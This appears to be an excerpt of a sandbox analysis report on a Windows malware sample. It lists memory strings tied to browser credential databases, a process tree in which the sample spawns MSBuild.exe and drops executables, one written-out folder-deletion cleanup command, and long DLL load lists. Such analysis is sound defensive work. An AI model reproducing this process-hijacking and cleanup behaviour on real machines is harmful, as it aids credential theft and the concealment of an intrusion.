Source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.9.dr, sql[1].dll.9.dr, nss3[1].dll.9.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.9.dr, sql[1].dll.9.dr, nss3[1].dll.9.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000009.00000002.2668776778.000000006CD3F000.00000002.00000001.01000000.0000000A.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.9.dr, sql[1].dll.9.dr, nss3[1].dll.9.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: BFIJEH.9.dr, CGHDAK.9.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2646254034.00000000202F8000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.9.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.9.dr, softokn3.dll.9.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\WiTqtf1aiE.exe "C:\Users\user\Desktop\WiTqtf1aiE.exe"
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 264
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe "C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe"
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 260
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe "C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe"
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7656 -s 248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\AEHIDAKECF.exe "C:\ProgramData\AEHIDAKECF.exe"
Source: C:\ProgramData\AEHIDAKECF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\AEHIDAKECF.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7912 -s 260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AFIDGDBGCAAF" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe "C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\AEHIDAKECF.exe "C:\ProgramData\AEHIDAKECF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AFIDGDBGCAAF" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\AEHIDAKECF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll
